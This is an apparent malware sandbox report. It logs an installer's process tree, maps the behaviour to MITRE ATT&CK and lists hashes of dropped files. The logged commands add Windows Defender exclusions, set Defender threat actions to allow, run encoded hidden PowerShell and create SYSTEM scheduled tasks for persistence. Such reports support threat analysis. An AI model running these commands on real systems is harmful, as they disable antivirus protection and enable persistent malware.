    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:880
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1664
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gCOVzGZHl" /SC once /ST 00:19:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:5564
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gCOVzGZHl"
  2⤵
  PID:4680
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gCOVzGZHl"
  2⤵
  PID:5688
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 02:07:01 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\UzJvJkn.exe\" GH /OSgDdidiF 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:1892
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
  2⤵
  PID:6124

C:\Users\Admin\AppData\Local\Temp\7zS308.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS308.tmp\Install.exe it /TwsdidZWhX 385118 /S
1⤵
PID:5084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:5924
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5380
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:2648
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5280
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5920
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:976
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5352
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:2060
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4680
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5256
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3256
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:3376
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:6096
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:5804
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1472
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4492
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:3144
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5884
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3280
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3368
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1280
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5500
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5796
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6096
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 00:17:18 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\wBOEJna.exe\" GH /aUrsdidjk 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:3272
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
  2⤵
  PID:2184

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:4336

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:2392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5968
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1408

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:6008

C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\UzJvJkn.exe
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\UzJvJkn.exe GH /OSgDdidiF 385118 /S
1⤵
PID:4628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4456
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:5960

C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\wBOEJna.exe
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\wBOEJna.exe GH /aUrsdidjk 385118 /S
1⤵
PID:5092
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:1124
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:3848
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2452
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5392
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:196
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5112
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:5532
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:3864
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3360
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:1408
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2868
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3136
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:2964
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5448

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
1⤵
PID:5976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Are.docx

Path C:\ProgramData\Are.docx
Size 11KB
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
SSDEEP 192:CtNCEE33S7Ok0CMSYbcBVk6tqM16iPBkeawLWdxd7o3Lp:aNwC78uYbcBv6akwLWdxdE3Lp
MD5 SHA1 SHA512 SSDEEP

Submit Download

mozglue.dll

Path C:\ProgramData\mozglue.dll
Size 593KB
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
SSDEEP 12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
MD5 1c19c16e21c97ed42d5beabc93391fc5
SHA1 8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA512 7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 303ab6123500de9da19cc4051946e9dbad80c3845982f381f4df66024571d297
MD5 187503fce57ee41fd2c8fbbf2eca2599
SHA1 40dbd6fb42cbc9fbe8fedff3989375e982d573e8
SHA512 e51b4f840c093877040a8c96781f9eefdab7f00f83cd4156035817cca5a3d8c76c6807d945ec22150f4a7d9d2ecb8063665d3ab242f6d8a33517e1623259e494
SSDEEP 384:a2b+ka7+ZXIgoteIAIc1hDRBH6P44o01kQ4X7i0EHcfGmn0ltl0eSYFWqL0cN:V6hiFP/PIMva/+lEH4kArYF9YG
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 3aa2c1e4b253ceb785b74d352b0381430e2294fe1fb42a03239e0d0270452b97
MD5 ec126d53f4134eb4169078277419a1aa
SHA1 d62ce336f9939cb6fe18b118d9b7b3637c1c1ebe
SHA512 628f8b398fe6e943174b3fa03f1208bbfd68a427b2d15838b304025b45e99c176788ad21dfbe3ba30ec076882f451aecb6049ffbde8fb053da104721aacd1aeb
SSDEEP 384:5A+/aZkbsJXIgoteIA83yH6P44o01ks4X7i0EHcfOmv0lUlQeSYFaqL0cV:3iOAVP/Pja/ylEH4kbrYF5Y+
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 1ae9e2168702297ce23867e104421977379a4f2c1ff306fe8b81d655ea55df0b
MD5 e5c866ded949d68e84dcf961a78f1e60
SHA1 c23d96c94bc296445ea243434ff94aba1fbad780
SHA512 b0ac5d8d0fd8aedb45bf4d11c2f7a80efc87e3bfec69f1f20af9062bf132148b3b309050291d45cfe4b8905e3982288a984e478d9c4af325a435aa84f71f78d7
SSDEEP 384:JA+P3IFotKRsNAIElH6P44o01rf4X7i0EHcfSmb0lUlgeSYFKqL0cl:H/IFRs69a/elEH4ULrYFJYu
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 ae407eff54e2a4f75cd6e489416175e0f5d73614e29e99ec176655d50151a01d
MD5 9a7492b4a54afb371179b490c8cf8360
SHA1 25aa63ec959aa824dee4d6c676044f64f97e3d77
SHA512 b16e6c0fb3fe6ccbe064c0a97ee7ad68dc400be52c0660d4b56f0754386c52c58087b41a191960bb244bbd0897009c1157497cea3390bf8e56764c74e8b12556
SSDEEP 384:I2E3y2R7E5wXKoteIATeHrKxcHvHcf/4T06MVlw9VNJZS5:bdUY5gK/P62IvH4HVw/nZS5
